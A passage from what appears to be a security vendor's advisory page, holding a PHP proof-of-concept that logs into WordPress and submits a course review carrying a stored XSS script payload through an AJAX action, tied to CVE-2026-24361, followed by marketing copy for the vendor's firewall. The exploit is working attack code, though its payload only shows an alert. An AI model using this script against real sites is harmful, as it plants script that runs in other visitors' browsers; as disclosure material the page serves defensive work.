curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Extract login nonce (WordPress security token)
preg_match('/name="log"[^>]*>/', $response, $matches);

// Step 3: Perform login
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 4: Verify login success
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 5: Extract WordPress nonce for AJAX requests
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Step 6: Construct XSS payload
// The payload executes JavaScript when the review is viewed
$xss_payload = '<script>alert("XSS via CVE-2026-24361");</script>';

// Step 7: Submit malicious review via AJAX endpoint
$ajax_data = array(
    'action' => 'CourseRatingTemplate:submit_review',
    'course_id' => $course_id,
    'review_title' => 'Malicious Review ' . $xss_payload,
    'review_content' => 'This review contains XSS payload: ' . $xss_payload . ' Atomic Edge Research',
    'rating' => 5, // Required rating parameter
    'user_id' => '' // Will be populated by WordPress
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);

// Step 8: Check if submission was successful
if (strpos($response, 'success') !== false || strpos($response, 'awaiting approve') !== false) {
    echo "[+] XSS payload successfully submitted to course ID: $course_idn";
    echo "[+] Payload will execute when users view the course reviewsn";
    echo "[+] Response: " . substr($response, -200) . "n";
} else {
    echo "[-] Submission failed. Response: " . substr($response, -200) . "n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School